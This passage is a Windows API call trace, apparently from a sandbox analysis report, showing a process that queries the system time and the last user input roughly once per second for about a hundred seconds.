	[0533.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa25c80f0, dwHighDateTime=0x1d3d6cf)) 
	[0533.864] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0534.878] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa2f73a50, dwHighDateTime=0x1d3d6cf)) 
	[0534.878] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0535.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa391f3b0, dwHighDateTime=0x1d3d6cf)) 
	[0535.900] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0536.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa42cad10, dwHighDateTime=0x1d3d6cf)) 
	[0536.915] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0537.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa4c76670, dwHighDateTime=0x1d3d6cf)) 
	[0537.928] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0538.949] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa5648130, dwHighDateTime=0x1d3d6cf)) 
	[0538.949] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0539.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa5ff3a90, dwHighDateTime=0x1d3d6cf)) 
	[0539.963] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0540.977] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa699f3f0, dwHighDateTime=0x1d3d6cf)) 
	[0540.977] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0541.991] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa734ad50, dwHighDateTime=0x1d3d6cf)) 
	[0541.991] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0543.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa7cf66b0, dwHighDateTime=0x1d3d6cf)) 
	[0543.005] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0544.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa86a2010, dwHighDateTime=0x1d3d6cf)) 
	[0544.019] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0545.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa904d970, dwHighDateTime=0x1d3d6cf)) 
	[0545.033] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0546.047] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xa99f92d0, dwHighDateTime=0x1d3d6cf)) 
	[0546.047] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0547.061] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xaa3a4c30, dwHighDateTime=0x1d3d6cf)) 
	[0547.061] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0548.075] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xaad50590, dwHighDateTime=0x1d3d6cf)) 
	[0548.075] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0549.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xab6fbef0, dwHighDateTime=0x1d3d6cf)) 
	[0549.092] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0550.103] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xac0a7850, dwHighDateTime=0x1d3d6cf)) 
	[0550.103] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0551.117] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xaca531b0, dwHighDateTime=0x1d3d6cf)) 
	[0551.117] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0552.131] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xad3feb10, dwHighDateTime=0x1d3d6cf)) 
	[0552.131] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0553.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xaddaa470, dwHighDateTime=0x1d3d6cf)) 
	[0553.145] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0554.159] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xae755dd0, dwHighDateTime=0x1d3d6cf)) 
	[0554.159] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0555.173] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xaf101730, dwHighDateTime=0x1d3d6cf)) 
	[0555.173] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0556.187] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xafaad090, dwHighDateTime=0x1d3d6cf)) 
	[0556.187] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0557.201] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb04589f0, dwHighDateTime=0x1d3d6cf)) 
	[0557.201] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0558.215] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb0e04350, dwHighDateTime=0x1d3d6cf)) 
	[0558.215] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0559.229] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb17afcb0, dwHighDateTime=0x1d3d6cf)) 
	[0559.229] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0560.243] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb215b610, dwHighDateTime=0x1d3d6cf)) 
	[0560.243] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0561.257] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb2b06f70, dwHighDateTime=0x1d3d6cf)) 
	[0561.257] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0562.271] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb34b28d0, dwHighDateTime=0x1d3d6cf)) 
	[0562.271] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0563.285] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb3e5e230, dwHighDateTime=0x1d3d6cf)) 
	[0563.285] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0564.299] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb4809b90, dwHighDateTime=0x1d3d6cf)) 
	[0564.299] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0565.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb51b54f0, dwHighDateTime=0x1d3d6cf)) 
	[0565.313] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0566.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb5b60e50, dwHighDateTime=0x1d3d6cf)) 
	[0566.327] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0567.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb650c7b0, dwHighDateTime=0x1d3d6cf)) 
	[0567.341] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0568.355] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb6eb8110, dwHighDateTime=0x1d3d6cf)) 
	[0568.355] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0569.369] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb7863a70, dwHighDateTime=0x1d3d6cf)) 
	[0569.369] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0570.383] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb820f3d0, dwHighDateTime=0x1d3d6cf)) 
	[0570.383] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0571.397] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb8bbad30, dwHighDateTime=0x1d3d6cf)) 
	[0571.397] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0572.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb9566690, dwHighDateTime=0x1d3d6cf)) 
	[0572.411] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0573.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xb9f11ff0, dwHighDateTime=0x1d3d6cf)) 
	[0573.427] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0574.447] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xba8bd950, dwHighDateTime=0x1d3d6cf)) 
	[0574.447] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0575.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbb2692b0, dwHighDateTime=0x1d3d6cf)) 
	[0575.461] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0576.473] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbbc14c10, dwHighDateTime=0x1d3d6cf)) 
	[0576.473] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0577.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbc5c0570, dwHighDateTime=0x1d3d6cf)) 
	[0577.487] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0578.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbcf6bed0, dwHighDateTime=0x1d3d6cf)) 
	[0578.502] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0579.516] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbd917830, dwHighDateTime=0x1d3d6cf)) 
	[0579.516] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0580.532] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbe2c3190, dwHighDateTime=0x1d3d6cf)) 
	[0580.532] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0581.544] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbec6eaf0, dwHighDateTime=0x1d3d6cf)) 
	[0581.544] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0582.558] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbf61a450, dwHighDateTime=0x1d3d6cf)) 
	[0582.558] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0583.572] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xbffc5db0, dwHighDateTime=0x1d3d6cf)) 
	[0583.572] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0584.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc0971710, dwHighDateTime=0x1d3d6cf)) 
	[0584.585] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0585.602] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc131d070, dwHighDateTime=0x1d3d6cf)) 
	[0585.602] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0586.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc1cc89d0, dwHighDateTime=0x1d3d6cf)) 
	[0586.613] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0587.629] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc2674330, dwHighDateTime=0x1d3d6cf)) 
	[0587.629] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0588.641] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc301fc90, dwHighDateTime=0x1d3d6cf)) 
	[0588.641] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0589.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc39cb5f0, dwHighDateTime=0x1d3d6cf)) 
	[0589.655] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0590.678] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc439d0b0, dwHighDateTime=0x1d3d6cf)) 
	[0590.678] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0591.697] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc4d48a10, dwHighDateTime=0x1d3d6cf)) 
	[0591.697] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0592.729] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc571a4d0, dwHighDateTime=0x1d3d6cf)) 
	[0592.729] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0593.755] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc60ebf90, dwHighDateTime=0x1d3d6cf)) 
	[0593.755] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0594.787] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc6abda50, dwHighDateTime=0x1d3d6cf)) 
	[0594.787] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0595.805] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc74693b0, dwHighDateTime=0x1d3d6cf)) 
	[0595.805] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0596.817] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc7e14d10, dwHighDateTime=0x1d3d6cf)) 
	[0596.817] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0597.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc87c0670, dwHighDateTime=0x1d3d6cf)) 
	[0597.829] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0598.838] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc916bfd0, dwHighDateTime=0x1d3d6cf)) 
	[0598.838] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0599.852] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xc9b17930, dwHighDateTime=0x1d3d6cf)) 
	[0599.852] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0600.879] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xca4c3290, dwHighDateTime=0x1d3d6cf)) 
	[0600.879] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0601.899] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcae94d50, dwHighDateTime=0x1d3d6cf)) 
	[0601.899] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0602.916] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcb8406b0, dwHighDateTime=0x1d3d6cf)) 
	[0602.916] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0603.932] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcc1ec010, dwHighDateTime=0x1d3d6cf)) 
	[0603.932] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0604.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xccb97970, dwHighDateTime=0x1d3d6cf)) 
	[0604.943] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0605.957] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcd5432d0, dwHighDateTime=0x1d3d6cf)) 
	[0605.957] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0606.971] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcdeeec30, dwHighDateTime=0x1d3d6cf)) 
	[0606.971] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0607.987] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xce89a590, dwHighDateTime=0x1d3d6cf)) 
	[0607.987] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0608.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcf245ef0, dwHighDateTime=0x1d3d6cf)) 
	[0608.999] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0610.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xcfbf1850, dwHighDateTime=0x1d3d6cf)) 
	[0610.014] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0611.028] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd059d1b0, dwHighDateTime=0x1d3d6cf)) 
	[0611.028] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0612.043] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd0f48b10, dwHighDateTime=0x1d3d6cf)) 
	[0612.043] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0613.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd18f4470, dwHighDateTime=0x1d3d6cf)) 
	[0613.055] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0614.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd229fdd0, dwHighDateTime=0x1d3d6cf)) 
	[0614.073] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0615.087] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd2c4b730, dwHighDateTime=0x1d3d6cf)) 
	[0615.087] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0616.100] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd35f7090, dwHighDateTime=0x1d3d6cf)) 
	[0616.100] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0617.111] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd3fa29f0, dwHighDateTime=0x1d3d6cf)) 
	[0617.111] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0618.125] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd494e350, dwHighDateTime=0x1d3d6cf)) 
	[0618.125] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0619.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd52f9cb0, dwHighDateTime=0x1d3d6cf)) 
	[0619.139] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0620.153] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd5ca5610, dwHighDateTime=0x1d3d6cf)) 
	[0620.153] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0621.166] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd6650f70, dwHighDateTime=0x1d3d6cf)) 
	[0621.166] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0622.184] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd6ffc8d0, dwHighDateTime=0x1d3d6cf)) 
	[0622.184] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0623.199] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd79a8230, dwHighDateTime=0x1d3d6cf)) 
	[0623.199] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0624.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd8353b90, dwHighDateTime=0x1d3d6cf)) 
	[0624.212] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0625.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd8cff4f0, dwHighDateTime=0x1d3d6cf)) 
	[0625.226] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0626.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xd96aae50, dwHighDateTime=0x1d3d6cf)) 
	[0626.239] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0627.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xda0567b0, dwHighDateTime=0x1d3d6cf)) 
	[0627.251] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0628.264] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdaa02110, dwHighDateTime=0x1d3d6cf)) 
	[0628.264] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0629.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdb3ada70, dwHighDateTime=0x1d3d6cf)) 
	[0629.279] GetLastInputInfo (in: plii=0x2392068 | out: plii=0x2392068) returned 1
	[0630.313] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x60fef10 | out: lpSystemTimeAsFileTime=0x60fef10*(dwLowDateTime=0xdbd593d0, dwHighDateTime=0x1d3d6cf)) 
